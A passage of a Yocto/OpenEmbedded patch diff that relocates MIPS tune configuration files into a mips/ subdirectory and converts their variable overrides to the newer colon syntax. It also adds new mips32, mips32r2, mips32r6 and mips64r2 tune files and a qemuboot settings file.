-TUNE_FEATURES_tune-mipsel-nf = "o32"
-BASE_LIB_tune-mipsel-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel-nf = "mipsel-nf"
-
-TUNE_FEATURES_tune-mips64el-nf-n32 = "n32"
-BASE_LIB_tune-mips64el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-n32 = "mips64el-nf-n32"
-
-TUNE_FEATURES_tune-mips64el-nf = "n64"
-BASE_LIB_tune-mips64el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf = "mips64el-nf"
+TUNE_FEATURES:tune-mips = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips = "lib"
+MIPSPKGSFX_VARIANT:tune-mips = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips = "mips"
+
+TUNE_FEATURES:tune-mips64-n32 = "n32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-n32 = "mips64-n32"
+
+TUNE_FEATURES:tune-mips64 = "n64 bigendian fpu-hard"
+BASE_LIB:tune-mips64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64 = "mips64"
+
+TUNE_FEATURES:tune-mipsel = "o32 fpu-hard"
+BASE_LIB:tune-mipsel = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel = "mipsel"
+
+TUNE_FEATURES:tune-mips64el-n32 = "n32 fpu-hard"
+BASE_LIB:tune-mips64el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-n32 = "mips64el-n32"
+
+TUNE_FEATURES:tune-mips64el = "n64 fpu-hard"
+BASE_LIB:tune-mips64el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el = "mips64el"
+
+TUNE_FEATURES:tune-mips-nf = "o32 bigendian"
+BASE_LIB:tune-mips-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mips-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips-nf = "mips-nf"
+
+TUNE_FEATURES:tune-mips64-nf-n32 = "n32 bigendian"
+BASE_LIB:tune-mips64-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-n32 = "mips64-nf-n32"
+
+TUNE_FEATURES:tune-mips64-nf = "n64 bigendian"
+BASE_LIB:tune-mips64-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf = "mips64-nf"
+
+TUNE_FEATURES:tune-mipsel-nf = "o32"
+BASE_LIB:tune-mipsel-nf = "lib"
+MIPSPKGSFX_VARIANT:tune-mipsel-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsel-nf = "mipsel-nf"
+
+TUNE_FEATURES:tune-mips64el-nf-n32 = "n32"
+BASE_LIB:tune-mips64el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-n32 = "mips64el-nf-n32"
+
+TUNE_FEATURES:tune-mips64el-nf = "n64"
+BASE_LIB:tune-mips64el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf = "mips64el-nf"
# MIPS 64 + o32
AVAILTUNES += "mips64-o32 mips64el-o32"
-TUNE_FEATURES_tune-mips64-o32 = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-o32 = "mips mips64-o32"
+TUNE_FEATURES:tune-mips64-o32 = "o32 bigendian fpu-hard"
+BASE_LIB:tune-mips64-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-o32 = "mips mips64-o32"
-TUNE_FEATURES_tune-mips64el-o32 = "o32 fpu-hard"
-BASE_LIB_tune-mips64el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-o32 = "mipsel mips64el-o32 mips64el-o32"
+TUNE_FEATURES:tune-mips64el-o32 = "o32 fpu-hard"
+BASE_LIB:tune-mips64el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-o32 = "mipsel mips64el-o32"
# MIPS 64 o32 and Soft Float
AVAILTUNES += "mips64-nf-o32 mips64el-nf-o32"
-TUNE_FEATURES_tune-mips64-nf-o32 = "o32 bigendian"
-BASE_LIB_tune-mips64-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
+TUNE_FEATURES:tune-mips64-nf-o32 = "o32 bigendian"
+BASE_LIB:tune-mips64-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64-nf-o32 = "mips-nf mips64-nf-o32"
-TUNE_FEATURES_tune-mips64el-nf-o32 = "o32"
-BASE_LIB_tune-mips64el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
+TUNE_FEATURES:tune-mips64el-nf-o32 = "o32"
+BASE_LIB:tune-mips64el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64el-nf-o32 = "mipsel-nf mips64el-nf-o32"
diff --git a/meta/conf/machine/include/mips/feature-mips-mips16e.inc b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
index 101d5331bc..6fd12fb842 100644
--- a/meta/conf/machine/include/mips/feature-mips-mips16e.inc
+++ b/meta/conf/machine/include/mips/feature-mips-mips16e.inc
@@ -11,7 +11,7 @@ MIPSPKGSFX_MIPS16E .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', '-m16',
TUNEVALID[no-interlink-compressed] = "Disable mixing of standard and MIPS16e code"
MIPS16_TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'no-interlink-compressed', ' -mno-interlink-compressed', ' -minterlink-compressed', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ' ${MIPS16_TUNE_CCARGS}', '', d)}"
-OVERRIDES .= "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', ':mips16e', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mips16e', 'mips16e:', '', d)}"
# show status (if compiling in MIPS16e mode)
BUILDCFG_VARS += "${@['', 'MIPS_INSTRUCTION_SET'][d.getVar('MIPS_INSTRUCTION_SET') == 'mips16e']}"
diff --git a/meta/conf/machine/include/mips/qemuboot-mips.inc b/meta/conf/machine/include/mips/qemuboot-mips.inc
new file mode 100644
index 0000000000..4954f3068c
--- /dev/null
+++ b/meta/conf/machine/include/mips/qemuboot-mips.inc
@@ -0,0 +1,8 @@
+# For runqemu
+IMAGE_CLASSES += "qemuboot"
+QB_MACHINE = "-machine malta"
+QB_KERNEL_CMDLINE_APPEND = "console=ttyS0 console=tty"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
+# For graphics to work we need to define the VGA device as well as the necessary USB devices
+QB_GRAPHICS = "-vga std"
diff --git a/meta/conf/machine/include/mips/tune-mips-24k.inc b/meta/conf/machine/include/mips/tune-mips-24k.inc
index 828acd42e3..106ff62fbb 100644
--- a/meta/conf/machine/include/mips/tune-mips-24k.inc
+++ b/meta/conf/machine/include/mips/tune-mips-24k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-24kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -16,36 +16,36 @@ AVAILTUNES += "mips32r2-24kc mips32r2-24kec mips32r2-24kec-m16"
AVAILTUNES += "mips32r2el-24kc mips32r2el-24kec mips32r2el-24kec-m16"
# big endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2-24kc = "${TUNE_FEATURES_tune-mips32r2-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2-24kec = "${TUNE_FEATURES_tune-mips32r2-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2-24kc = "${TUNE_FEATURES:tune-mips32r2-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2-24kec = "${TUNE_FEATURES:tune-mips32r2-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kc = "mips32r2-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kc = "mips32r2-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec = "mips32r2-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc} mips32r2-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec = "mips32r2-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc} mips32r2-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-m16-nf = " -cpu 24KEc"
# little endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2el-24kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2el-24kec = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2el-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2el-24kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2el-24kec = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2el-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kc = "mips32r2el-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kc = "mips32r2el-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec = "mips32r2el-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc} mips32r2el-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec = "mips32r2el-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc} mips32r2el-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips-74k.inc b/meta/conf/machine/include/mips/tune-mips-74k.inc
index 94afee34bd..e4927a1ce0 100644
--- a/meta/conf/machine/include/mips/tune-mips-74k.inc
+++ b/meta/conf/machine/include/mips/tune-mips-74k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-74kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -13,25 +13,25 @@ AVAILTUNES += "mips32r2-74kc mips32r2-74kc-m16"
AVAILTUNES += "mips32r2el-74kc mips32r2el-74kc-m16"
# big endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2-74kc = "${TUNE_FEATURES_tune-mips32r2-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2-74kc = "${TUNE_FEATURES:tune-mips32r2-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc = "mips32r2-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc = "mips32r2-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-m16-nf = " -cpu 24KEc"
# little endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2el-74kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2el-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2el-74kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2el-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc = "mips32r2el-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc = "mips32r2el-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips32.inc b/meta/conf/machine/include/mips/tune-mips32.inc
new file mode 100644
index 0000000000..820087f59d
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
+TUNECONFLICTS[mips32] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32 mips32el"
+
+TUNE_FEATURES:tune-mips32 = "${TUNE_FEATURES:tune-mips} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32 = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32 = "mips mips32"
+
+TUNE_FEATURES:tune-mips32el = "${TUNE_FEATURES:tune-mipsel} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el = "mipsel mips32el"
+
+# Soft Float
+AVAILTUNES += "mips32-nf mips32el-nf"
+
+TUNE_FEATURES:tune-mips32-nf = "${TUNE_FEATURES:tune-mips-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32-nf = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32-nf = "mips-nf mips32-nf"
+
+TUNE_FEATURES:tune-mips32el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el-nf = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r2.inc b/meta/conf/machine/include/mips/tune-mips32r2.inc
new file mode 100644
index 0000000000..c868e925e9
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r2.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32r2"
+
+require conf/machine/include/mips/tune-mips32.inc
+
+TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
+TUNECONFLICTS[mips32r2] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32r2 mips32r2el"
+
+TUNE_FEATURES:tune-mips32r2 = "${TUNE_FEATURES:tune-mips} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2 = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2 = "mips mips32 mips32r2"
+
+TUNE_FEATURES:tune-mips32r2el = "${TUNE_FEATURES:tune-mipsel} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el = "mipsel mips32el mips32r2el"
+
+# Soft Float
+AVAILTUNES += "mips32r2-nf mips32r2el-nf"
+
+TUNE_FEATURES:tune-mips32r2-nf = "${TUNE_FEATURES:tune-mips-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2-nf = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
+
+TUNE_FEATURES:tune-mips32r2el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-nf = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r6.inc b/meta/conf/machine/include/mips/tune-mips32r6.inc
new file mode 100644
index 0000000000..9904cc0b11
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r6.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mipsisa32r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
+TUNECONFLICTS[mipsisa32r6] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
+
+TUNE_FEATURES:tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6 = "mipsisa32r6"
+
+TUNE_FEATURES:tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el = "mipsisa32r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6-nf = "mipsisa32r6-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips64.inc b/meta/conf/machine/include/mips/tune-mips64.inc
new file mode 100644
index 0000000000..a9080159fc
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64.inc
@@ -0,0 +1,3 @@
+DEFAULTTUNE ?= "mips64"
+
+require conf/machine/include/mips/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/mips/tune-mips64r2.inc b/meta/conf/machine/include/mips/tune-mips64r2.inc
new file mode 100644
index 0000000000..e9ca4201ff
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r2.inc
@@ -0,0 +1,96 @@
+DEFAULTTUNE ?= "mips64r2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
+
+# Base tunes
+AVAILTUNES += "mips64r2 mips64r2el"
+
+TUNE_FEATURES:tune-mips64r2 = "${TUNE_FEATURES:tune-mips64} mips64r2"
+BASE_LIB:tune-mips64r2 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2 = "mips64r2"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2 = "mips64 mips64r2"
+QEMU_EXTRAOPTIONS_mips64r2 = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el = "${TUNE_FEATURES:tune-mips64el} mips64r2"
+BASE_LIB:tune-mips64r2el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el = "mips64r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el = "mips64el mips64r2el"
+QEMU_EXTRAOPTIONS_mips64r2el = " -cpu MIPS64R2-generic"
+
+# MIPS 64r2 Soft Float
+AVAILTUNES += "mips64r2-nf mips64r2el-nf"
+
+TUNE_FEATURES:tune-mips64r2-nf = "${TUNE_FEATURES:tune-mips64-nf} mips64r2"
+BASE_LIB:tune-mips64r2-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf = "mips64-nf mips64r2-nf"
+QEMU_EXTRAOPTIONS_mips64r2-nf = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el-nf = "${TUNE_FEATURES:tune-mips64el-nf} mips64r2"
+BASE_LIB:tune-mips64r2el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
+QEMU_EXTRAOPTIONS_mips64r2el-nf = " -cpu MIPS64R2-generic"
+
+# MIPS 64r2 n32
+AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
+
+TUNE_FEATURES:tune-mips64r2-n32 = "${TUNE_FEATURES:tune-mips64-n32} mips64r2"
+BASE_LIB:tune-mips64r2-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
+QEMU_EXTRAOPTIONS_mips64r2-n32 = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el-n32 = "${TUNE_FEATURES:tune-mips64el-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
+QEMU_EXTRAOPTIONS_mips64r2el-n32 = " -cpu MIPS64R2-generic"
+
+# MIPS 64r2 n32 and Soft Float
+AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
+
+TUNE_FEATURES:tune-mips64r2-nf-n32 = "${TUNE_FEATURES:tune-mips64-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
+QEMU_EXTRAOPTIONS_mips64r2-nf-n32 = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el-nf-n32 = "${TUNE_FEATURES:tune-mips64el-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
+QEMU_EXTRAOPTIONS_mips64r2el-nf-32 = " -cpu MIPS64R2-generic"
+
+# MIPS 64r2 o32
+AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
+
